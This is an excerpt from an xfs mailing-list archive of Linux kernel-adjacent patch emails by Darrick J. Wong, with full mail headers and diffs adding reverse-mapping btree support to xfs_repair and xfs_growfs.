insertions(+), 5 deletions(-) diff --git a/growfs/xfs_growfs.c b/growfs/xfs_growfs.c index 56315f9..2b46480 100644 --- a/growfs/xfs_growfs.c +++ b/growfs/xfs_growfs.c @@ -58,12 +58,13 @@ report_info( int cimode, int ftype_enabled, int finobt_enabled, - int spinodes) + int spinodes, + int rmapbt_enabled) { printf(_( "meta-data=%-22s isize=%-6u agcount=%u, agsize=%u blks\n" " =%-22s sectsz=%-5u attr=%u, projid32bit=%u\n" - " =%-22s crc=%-8u finobt=%u spinodes=%u\n" + " =%-22s crc=%-8u finobt=%u spinodes=%u rmapbt=%u\n" "data =%-22s bsize=%-6u blocks=%llu, imaxpct=%u\n" " =%-22s sunit=%-6u swidth=%u blks\n" "naming =version %-14u bsize=%-6u ascii-ci=%d ftype=%d\n" @@ -73,7 +74,7 @@ report_info( mntpoint, geo.inodesize, geo.agcount, geo.agblocks, "", geo.sectsize, attrversion, projid32bit, - "", crcs_enabled, finobt_enabled, spinodes, + "", crcs_enabled, finobt_enabled, spinodes, rmapbt_enabled, "", geo.blocksize, (unsigned long long)geo.datablocks, geo.imaxpct, "", geo.sunit, geo.swidth, @@ -127,6 +128,7 @@ main(int argc, char **argv) int ftype_enabled = 0; int finobt_enabled; /* free inode btree */ int spinodes; + int rmapbt_enabled; progname = basename(argv[0]); setlocale(LC_ALL, ""); @@ -250,11 +252,13 @@ main(int argc, char **argv) ftype_enabled = geo.flags & XFS_FSOP_GEOM_FLAGS_FTYPE ? 1 : 0; finobt_enabled = geo.flags & XFS_FSOP_GEOM_FLAGS_FINOBT ? 1 : 0; spinodes = geo.flags & XFS_FSOP_GEOM_FLAGS_SPINODES ? 1 : 0; + rmapbt_enabled = geo.flags & XFS_FSOP_GEOM_FLAGS_RMAPBT ? 1 : 0; if (nflag) { report_info(geo, datadev, isint, logdev, rtdev, lazycount, dirversion, logversion, attrversion, projid32bit, crcs_enabled, ci, - ftype_enabled, finobt_enabled, spinodes); + ftype_enabled, finobt_enabled, spinodes, + rmapbt_enabled); exit(0); } @@ -292,7 +296,7 @@ main(int argc, char **argv) report_info(geo, datadev, isint, logdev, rtdev, lazycount, dirversion, logversion, attrversion, projid32bit, crcs_enabled, ci, ftype_enabled, - finobt_enabled, spinodes); + finobt_enabled, spinodes, rmapbt_enabled); ddsize = xi.dsize; dlsize = ( xi.logBBsize? xi.logBBsize : diff --git a/libxfs/xfs_fs.h b/libxfs/xfs_fs.h index 8f7014f..d7ec790 100644 --- a/libxfs/xfs_fs.h +++ b/libxfs/xfs_fs.h @@ -240,6 +240,7 @@ typedef struct xfs_fsop_resblks { #define XFS_FSOP_GEOM_FLAGS_FTYPE 0x10000 /* inode directory types */ #define XFS_FSOP_GEOM_FLAGS_FINOBT 0x20000 /* free inode btree */ #define XFS_FSOP_GEOM_FLAGS_SPINODES 0x40000 /* sparse inode chunks */ +#define XFS_FSOP_GEOM_FLAGS_RMAPBT 0x80000 /* reverse-mapping btree */ /* * Minimum and maximum sizes need for growth checks. From darrick.wong@oracle.com Wed Oct 7 00:08:02 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FILL_THIS_FORM_SHORT, UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D75DB29E90 for ; Wed, 7 Oct 2015 00:08:01 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6350EAC006 for ; Tue, 6 Oct 2015 22:08:01 -0700 (PDT) X-ASG-Debug-ID: 1444194477-04bdf020dd0e970001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id wQFqIJwoCeYCfYXt (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:07:57 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9757uoJ016149 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:07:56 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9757tsu025692 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:07:56 GMT Received: from abhmp0016.oracle.com (abhmp0016.oracle.com [141.146.116.22]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9757txi010072; Wed, 7 Oct 2015 05:07:55 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:07:55 -0700 Subject: [PATCH 25/51] xfs_repair: use rmap btree data to check block types From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 25/51] xfs_repair: use rmap btree data to check block types To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 22:07:54 -0700 Message-ID: <20151007050754.1504.94020.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194477 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner Use the rmap btree to pre-populate the block type information so that when repair iterates the primary metadata, we can confirm the block type. Signed-off-by: Dave Chinner [split patch, add commit message] Signed-off-by: Darrick J. Wong --- repair/dinode.c | 6 + repair/incore.h | 16 +- repair/scan.c | 336 ++++++++++++++++++++++++++++++++++++++++++++++++--- repair/xfs_repair.c | 2 4 files changed, 331 insertions(+), 29 deletions(-) diff --git a/repair/dinode.c b/repair/dinode.c index f78f907..e81c245 100644 --- a/repair/dinode.c +++ b/repair/dinode.c @@ -744,6 +744,7 @@ _("%s fork in ino %" PRIu64 " claims dup extent, " _("%s fork in ino %" PRIu64 " claims free block %" PRIu64 "\n"), forkname, ino, (__uint64_t) b); /* fall through ... */ + case XR_E_INUSE1: /* seen by rmap */ case XR_E_UNKNOWN: set_bmap_ext(agno, agbno, blen, XR_E_INUSE); break; @@ -751,6 +752,11 @@ _("%s fork in ino %" PRIu64 " claims free block %" PRIu64 "\n"), case XR_E_BAD_STATE: do_error(_("bad state in block map %" PRIu64 "\n"), b); + case XR_E_FS_MAP1: + case XR_E_INO1: + case XR_E_INUSE_FS1: + do_warn(_("rmap claims metadata use!\n")); + /* fall through */ case XR_E_FS_MAP: case XR_E_INO: case XR_E_INUSE_FS: diff --git a/repair/incore.h b/repair/incore.h index c92475e..bc0810b 100644 --- a/repair/incore.h +++ b/repair/incore.h @@ -102,17 +102,11 @@ typedef struct rt_extent_tree_node { #define XR_E_MULT 5 /* extent is multiply referenced */ #define XR_E_INO 6 /* extent used by inodes (inode blocks) */ #define XR_E_FS_MAP 7 /* extent used by fs space/inode maps */ -#define XR_E_BAD_STATE 8 - -/* extent states, in 64 bit word chunks */ -#define XR_E_UNKNOWN_LL 0x0000000000000000LL -#define XR_E_FREE1_LL 0x1111111111111111LL -#define XR_E_FREE_LL 0x2222222222222222LL -#define XR_E_INUSE_LL 0x3333333333333333LL -#define XR_E_INUSE_FS_LL 0x4444444444444444LL -#define XR_E_MULT_LL 0x5555555555555555LL -#define XR_E_INO_LL 0x6666666666666666LL -#define XR_E_FS_MAP_LL 0x7777777777777777LL +#define XR_E_INUSE1 8 /* used block (marked by rmap btree) */ +#define XR_E_INUSE_FS1 9 /* used by fs ag header or log (rmap btree) */ +#define XR_E_INO1 10 /* used by inodes (marked by rmap btree) */ +#define XR_E_FS_MAP1 11 /* used by fs space/inode maps (rmap btree) */ +#define XR_E_BAD_STATE 12 /* separate state bit, OR'ed into high (4th) bit of ex_state field */ diff --git a/repair/scan.c b/repair/scan.c index 1e7a4da..c1ab6df 100644 --- a/repair/scan.c +++ b/repair/scan.c @@ -44,6 +44,7 @@ struct aghdr_cnts { __uint32_t agicount; __uint32_t agifreecount; __uint64_t fdblocks; + __uint64_t usedblocks; __uint64_t ifreecount; __uint32_t fibtfreecount; }; @@ -308,6 +309,13 @@ _("bad back (left) sibling pointer (saw %llu should be NULL (0))\n" pthread_mutex_lock(&ag_locks[agno].lock); state = get_bmap(agno, agbno); switch (state) { + case XR_E_INUSE1: + /* + * block was claimed as in use data by the rmap + * btree, but has not been found in the data extent + * map for the inode. That means this bmbt block hasn't + * yet been claimed as in use, which means -it's ours- + */ case XR_E_UNKNOWN: case XR_E_FREE1: case XR_E_FREE: @@ -763,6 +771,252 @@ ino_issparse( return xfs_inobt_is_sparse_disk(rp, offset); } + +static void +scan_rmapbt( + struct xfs_btree_block *block, + int level, + xfs_agblock_t bno, + xfs_agnumber_t agno, + int suspect, + int isroot, + __uint32_t magic, + void *priv) +{ + struct aghdr_cnts *agcnts = priv; + const char *name = "rmap"; + int i; + xfs_rmap_ptr_t *pp; + struct xfs_rmap_rec *rp; + int hdr_errors = 0; + int numrecs; + int state; + xfs_agblock_t lastblock = 0; + + if (magic != XFS_RMAP_CRC_MAGIC) { + name = "(unknown)"; + assert(0); + } + + if (be32_to_cpu(block->bb_magic) != magic) { + do_warn(_("bad magic # %#x in bt%s block %d/%d\n"), + be32_to_cpu(block->bb_magic), name, agno, bno); + hdr_errors++; + if (suspect) + return; + } + + /* + * All RMAP btree blocks except the roots are freed for a + * fully empty filesystem, thus they are counted towards the + * free data block counter. + */ + if (!isroot) { + agcnts->agfbtreeblks++; + agcnts->fdblocks++; + } + + if (be16_to_cpu(block->bb_level) != level) { + do_warn(_("expected level %d got %d in bt%s block %d/%d\n"), + level, be16_to_cpu(block->bb_level), name, agno, bno); + hdr_errors++; + if (suspect) + return; + } + + /* check for btree blocks multiply claimed */ + state = get_bmap(agno, bno); + if (!(state == XR_E_UNKNOWN || state == XR_E_FS_MAP1)) { + set_bmap(agno, bno, XR_E_MULT); + do_warn( +_("%s rmap btree block claimed (state %d), agno %d, bno %d, suspect %d\n"), + name, state, agno, bno, suspect); + return; + } + set_bmap(agno, bno, XR_E_FS_MAP); + + numrecs = be16_to_cpu(block->bb_numrecs); + if (level == 0) { + if (numrecs > mp->m_rmap_mxr[0]) { + numrecs = mp->m_rmap_mxr[0]; + hdr_errors++; + } + if (isroot == 0 && numrecs < mp->m_rmap_mnr[0]) { + numrecs = mp->m_rmap_mnr[0]; + hdr_errors++; + } + + if (hdr_errors) { + do_warn( + _("bad btree nrecs (%u, min=%u, max=%u) in bt%s block %u/%u\n"), + be16_to_cpu(block->bb_numrecs), + mp->m_rmap_mnr[0], mp->m_rmap_mxr[0], + name, agno, bno); + suspect++; + } + + rp = XFS_RMAP_REC_ADDR(block, 1); + for (i = 0; i < numrecs; i++) { + xfs_agblock_t b, end; + xfs_extlen_t len, blen; + int64_t owner; + + b = be32_to_cpu(rp[i].rm_startblock); + len = be32_to_cpu(rp[i].rm_blockcount); + owner = be64_to_cpu(rp[i].rm_owner); + end = b + len; + + if (!verify_agbno(mp, agno, b)) { + do_warn( + _("invalid start block %u in record %u of %s btree block %u/%u\n"), + b, i, name, agno, bno); + continue; + } + if (len == 0 || !verify_agbno(mp, agno, end - 1)) { + do_warn( + _("invalid length %u in record %u of %s btree block %u/%u\n"), + len, i, name, agno, bno); + continue; + } + + /* XXX: range check owner */ + + if (b && b <= lastblock) { + do_warn(_( + "out-of-order rmap btree record %d (%u %u) block %u/%u\n"), + i, b, len, agno, bno); + } else { + lastblock = b; + } + + for ( ; b < end; b += blen) { + state = get_bmap_ext(agno, b, end, &blen); + switch (state) { + case XR_E_UNKNOWN: + switch (owner) { + case XFS_RMAP_OWN_FS: + case XFS_RMAP_OWN_LOG: + set_bmap(agno, b, XR_E_INUSE_FS1); + break; + case XFS_RMAP_OWN_AG: + case XFS_RMAP_OWN_INOBT: + set_bmap(agno, b, XR_E_FS_MAP1); + break; + case XFS_RMAP_OWN_INODES: + set_bmap(agno, b, XR_E_INO1); + break; + case XFS_RMAP_OWN_NULL: + /* still unknown */ + break; + default: + /* file data */ + set_bmap(agno, b, XR_E_INUSE1); + break; + } + break; + case XR_E_INUSE_FS: + if (owner == XFS_RMAP_OWN_FS || + owner == XFS_RMAP_OWN_LOG) + break; + do_warn( +_("Static meta block (%d,%d-%d) mismatch in %s tree, state - %d,%" PRIx64 "\n"), + agno, b, b + blen - 1, + name, state, owner); + break; + case XR_E_FS_MAP: + if (owner == XFS_RMAP_OWN_AG || + owner == XFS_RMAP_OWN_INOBT) + break; + do_warn( +_("AG meta block (%d,%d-%d) mismatch in %s tree, state - %d,%" PRIx64 "\n"), + agno, b, b + blen - 1, + name, state, owner); + break; + case XR_E_INO: + if (owner == XFS_RMAP_OWN_INODES) + break; + do_warn( +_("inode block (%d,%d-%d) mismatch in %s tree, state - %d,%" PRIx64 "\n"), + agno, b, b + blen - 1, + name, state, owner); + break; + case XR_E_INUSE: + if (owner >= 0 && + owner < mp->m_sb.sb_dblocks) + break; + do_warn( +_("in use block (%d,%d-%d) mismatch in %s tree, state - %d,%" PRIx64 "\n"), + agno, b, b + blen - 1, + name, state, owner); + break; + case XR_E_FREE1: + case XR_E_FREE: + /* + * May be on the AGFL. If not, they'll + * be caught later. + */ + break; + default: + do_warn( +_("unknown block (%d,%d-%d) mismatch on %s tree, state - %d,%" PRIx64 "\n"), + agno, b, b + blen - 1, + name, state, owner); + break; + } + } + } + return; + } + + /* + * interior record + */ + pp = XFS_RMAP_PTR_ADDR(block, 1, mp->m_rmap_mxr[1]); + + if (numrecs > mp->m_rmap_mxr[1]) { + numrecs = mp->m_rmap_mxr[1]; + hdr_errors++; + } + if (isroot == 0 && numrecs < mp->m_rmap_mnr[1]) { + numrecs = mp->m_rmap_mnr[1]; + hdr_errors++; + } + + /* + * don't pass bogus tree flag down further if this block + * looked ok. bail out if two levels in a row look bad. + */ + if (hdr_errors) { + do_warn( + _("bad btree nrecs (%u, min=%u, max=%u) in bt%s block %u/%u\n"), + be16_to_cpu(block->bb_numrecs), + mp->m_rmap_mnr[1], mp->m_rmap_mxr[1], + name, agno, bno); + if (suspect) + return; + suspect++; + } else if (suspect) { + suspect = 0; + } + + for (i = 0; i < numrecs; i++) { + xfs_agblock_t bno = be32_to_cpu(pp[i]); + + /* + * XXX - put sibling detection right here. + * we know our sibling chain is good. So as we go, + * we check the entry before and after each entry. + * If either of the entries references a different block, + * check the sibling pointer. If there's a sibling + * pointer mismatch, try and extract as much data + * as possible. + */ + if (bno != 0 && verify_agbno(mp, agno, bno)) { + scan_sbtree(bno, level, agno, suspect, scan_rmapbt, 0, + magic, priv, &xfs_rmapbt_buf_ops); + } + } +} /* * The following helpers are to help process and validate individual on-disk @@ -976,20 +1230,27 @@ scan_single_ino_chunk( agbno = XFS_AGINO_TO_AGBNO(mp, ino + j); state = get_bmap(agno, agbno); - if (state == XR_E_UNKNOWN) { - set_bmap(agno, agbno, XR_E_INO); - } else if (state == XR_E_INUSE_FS && agno == 0 && - ino + j >= first_prealloc_ino && - ino + j < last_prealloc_ino) { + switch (state) { + case XR_E_INO: + break; + case XR_E_UNKNOWN: + case XR_E_INO1: /* seen by rmap */ set_bmap(agno, agbno, XR_E_INO); - } else { + break; + case XR_E_INUSE_FS: + case XR_E_INUSE_FS1: + if (agno == 0 && + ino + j >= first_prealloc_ino && + ino + j < last_prealloc_ino) { + set_bmap(agno, agbno, XR_E_INO); + break; + } + /* fall through */ + default: + /* XXX - maybe should mark block a duplicate */ do_warn( _("inode chunk claims used block, inobt block - agno %d, bno %d, inopb %d\n"), agno, agbno, mp->m_sb.sb_inopblock); - /* - * XXX - maybe should mark - * block a duplicate - */ return ++suspect; } } @@ -1099,19 +1360,35 @@ _("sparse inode chunk claims inode block, finobt block - agno %d, bno %d, inopb continue; } - if (state == XR_E_INO) { - continue; - } else if ((state == XR_E_UNKNOWN) || - (state == XR_E_INUSE_FS && agno == 0 && - ino + j >= first_prealloc_ino && - ino + j < last_prealloc_ino)) { + switch (state) { + case XR_E_INO: + break; + case XR_E_INO1: /* seen by rmap */ + set_bmap(agno, agbno, XR_E_INO); + break; + case XR_E_UNKNOWN: do_warn( _("inode chunk claims untracked block, finobt block - agno %d, bno %d, inopb %d\n"), agno, agbno, mp->m_sb.sb_inopblock); set_bmap(agno, agbno, XR_E_INO); suspect++; - } else { + break; + case XR_E_INUSE_FS: + case XR_E_INUSE_FS1: + if (agno == 0 && + ino + j >= first_prealloc_ino && + ino + j < last_prealloc_ino) { + do_warn( +_("inode chunk claims untracked block, finobt block - agno %d, bno %d, inopb %d\n"), + agno, agbno, mp->m_sb.sb_inopblock); + + set_bmap(agno, agbno, XR_E_INO); + suspect++; + break; + } + /* fall through */ + default: do_warn( _("inode chunk claims used block, finobt block - agno %d, bno %d, inopb %d\n"), agno, agbno, mp->m_sb.sb_inopblock); @@ -1280,6 +1557,7 @@ scan_inobt( */ state = get_bmap(agno, bno); switch (state) { + case XR_E_FS_MAP1: /* already been seen by an rmap scan */ case XR_E_UNKNOWN: case XR_E_FREE1: case XR_E_FREE: @@ -1420,7 +1698,7 @@ scan_freelist( if (XFS_SB_BLOCK(mp) != XFS_AGFL_BLOCK(mp) && XFS_AGF_BLOCK(mp) != XFS_AGFL_BLOCK(mp) && XFS_AGI_BLOCK(mp) != XFS_AGFL_BLOCK(mp)) - set_bmap(agno, XFS_AGFL_BLOCK(mp), XR_E_FS_MAP); + set_bmap(agno, XFS_AGFL_BLOCK(mp), XR_E_INUSE_FS); if (be32_to_cpu(agf->agf_flcount) == 0) return; @@ -1505,6 +1783,19 @@ validate_agf( bno, agno); } + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) { + bno = be32_to_cpu(agf->agf_roots[XFS_BTNUM_RMAP]); + if (bno != 0 && verify_agbno(mp, agno, bno)) { + scan_sbtree(bno, + be32_to_cpu(agf->agf_levels[XFS_BTNUM_RMAP]), + agno, 0, scan_rmapbt, 1, XFS_RMAP_CRC_MAGIC, + agcnts, &xfs_rmapbt_buf_ops); + } else { + do_warn(_("bad agbno %u for rmapbt root, agno %d\n"), + bno, agno); + } + } + if (be32_to_cpu(agf->agf_freeblks) != agcnts->agffreeblks) { do_warn(_("agf_freeblks %u, counted %u in ag %u\n"), be32_to_cpu(agf->agf_freeblks), agcnts->agffreeblks, agno); @@ -1520,6 +1811,7 @@ validate_agf( do_warn(_("agf_btreeblks %u, counted %" PRIu64 " in ag %u\n"), be32_to_cpu(agf->agf_btreeblks), agcnts->agfbtreeblks, agno); } + } static void @@ -1759,6 +2051,7 @@ scan_ags( __uint64_t fdblocks = 0; __uint64_t icount = 0; __uint64_t ifreecount = 0; + __uint64_t usedblocks = 0; xfs_agnumber_t i; work_queue_t wq; @@ -1781,6 +2074,7 @@ scan_ags( fdblocks += agcnts[i].fdblocks; icount += agcnts[i].agicount; ifreecount += agcnts[i].ifreecount; + usedblocks += agcnts[i].usedblocks; } free(agcnts); @@ -1802,5 +2096,11 @@ scan_ags( do_warn(_("sb_fdblocks %" PRIu64 ", counted %" PRIu64 "\n"), mp->m_sb.sb_fdblocks, fdblocks); } + + if (usedblocks && + usedblocks != mp->m_sb.sb_dblocks - fdblocks) { + do_warn(_("used blocks %" PRIu64 ", counted %" PRIu64 "\n"), + mp->m_sb.sb_dblocks - fdblocks, usedblocks); + } } diff --git a/repair/xfs_repair.c b/repair/xfs_repair.c index 85a012b..933986a 100644 --- a/repair/xfs_repair.c +++ b/repair/xfs_repair.c @@ -416,6 +416,8 @@ calc_mkfs(xfs_mount_t *mp) fino_bno = inobt_root + (2 * min(2, mp->m_ag_maxlevels)) + 1; if (xfs_sb_version_hasfinobt(&mp->m_sb)) fino_bno++; + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) + fino_bno++; /* * If the log is allocated in the first allocation group we need to From darrick.wong@oracle.com Wed Oct 7 00:08:06 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DB93C29EAC for ; Wed, 7 Oct 2015 00:08:06 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id B50618F8035 for ; Tue, 6 Oct 2015 22:08:06 -0700 (PDT) X-ASG-Debug-ID: 1444194485-04cb6c578b0d9d0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id OGiPrwgndD3UOUEE (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:08:05 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t97584kb016466 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:08:04 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t97582Zu004821 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:08:04 GMT Received: from abhmp0006.oracle.com (abhmp0006.oracle.com [141.146.116.12]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t97581gL025178; Wed, 7 Oct 2015 05:08:01 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:08:01 -0700 Subject: [PATCH 26/51] xfs_repair: mask off length appropriately From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 26/51] xfs_repair: mask off length appropriately To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:08:00 -0700 Message-ID: <20151007050800.1504.97562.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194485 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Ensure that we remove the flag bits from blockcount before using the length field. Signed-off-by: Darrick J. Wong --- repair/scan.c | 32 ++++++++++++++++++++++++-------- 1 file changed, 24 insertions(+), 8 deletions(-) diff --git a/repair/scan.c b/repair/scan.c index c1ab6df..1ade344 100644 --- a/repair/scan.c +++ b/repair/scan.c @@ -792,6 +792,8 @@ scan_rmapbt( int numrecs; int state; xfs_agblock_t lastblock = 0; + int64_t lastowner = 0; + int64_t lastoffset = 0; if (magic != XFS_RMAP_CRC_MAGIC) { name = "(unknown)"; @@ -859,11 +861,12 @@ _("%s rmap btree block claimed (state %d), agno %d, bno %d, suspect %d\n"), for (i = 0; i < numrecs; i++) { xfs_agblock_t b, end; xfs_extlen_t len, blen; - int64_t owner; + int64_t owner, offset; b = be32_to_cpu(rp[i].rm_startblock); - len = be32_to_cpu(rp[i].rm_blockcount); + len = XFS_RMAP_LEN(be32_to_cpu(rp[i].rm_blockcount)); owner = be64_to_cpu(rp[i].rm_owner); + offset = be64_to_cpu(rp[i].rm_offset); end = b + len; if (!verify_agbno(mp, agno, b)) { @@ -879,14 +882,27 @@ _("%s rmap btree block claimed (state %d), agno %d, bno %d, suspect %d\n"), continue; } - /* XXX: range check owner */ + if (!(owner > 0 || (owner > XFS_RMAP_OWN_MIN && + owner <= XFS_RMAP_OWN_FS))) + do_warn( + _("invalid owner in rmap btree record %d (%"PRId64" %u) block %u/%u\n"), + i, owner, len, agno, bno); - if (b && b <= lastblock) { - do_warn(_( - "out-of-order rmap btree record %d (%u %u) block %u/%u\n"), - i, b, len, agno, bno); - } else { + if (i == 0) { +advance: lastblock = b; + lastowner = owner; + lastoffset = offset; + } else { + bool bad; + + bad = b <= lastblock; + if (bad) + do_warn( + _("out-of-order rmap btree record %d (%u %"PRId64" %"PRIx64" %u) block %u/%u\n"), + i, b, owner, offset, len, agno, bno); + else + goto advance; } for ( ; b < end; b += blen) { From darrick.wong@oracle.com Wed Oct 7 00:08:14 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CFD9329E90 for ; Wed, 7 Oct 2015 00:08:14 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6A1A9AC007 for ; Tue, 6 Oct 2015 22:08:11 -0700 (PDT) X-ASG-Debug-ID: 1444194489-04cbb03f140da40001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 52yKrVhqh9qsWr3z (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:08:09 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975886B016507 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:08:09 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t97588oC026321 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:08:08 GMT Received: from abhmp0018.oracle.com (abhmp0018.oracle.com [141.146.116.24]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t97588WJ007299; Wed, 7 Oct 2015 05:08:08 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:08:07 -0700 Subject: [PATCH 27/51] xfs_repair: fix fino_bno calculation when rmapbt is enabled From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 27/51] xfs_repair: fix fino_bno calculation when rmapbt is enabled To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:08:06 -0700 Message-ID: <20151007050806.1504.62694.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194489 X-Barracuda-Encrypted: 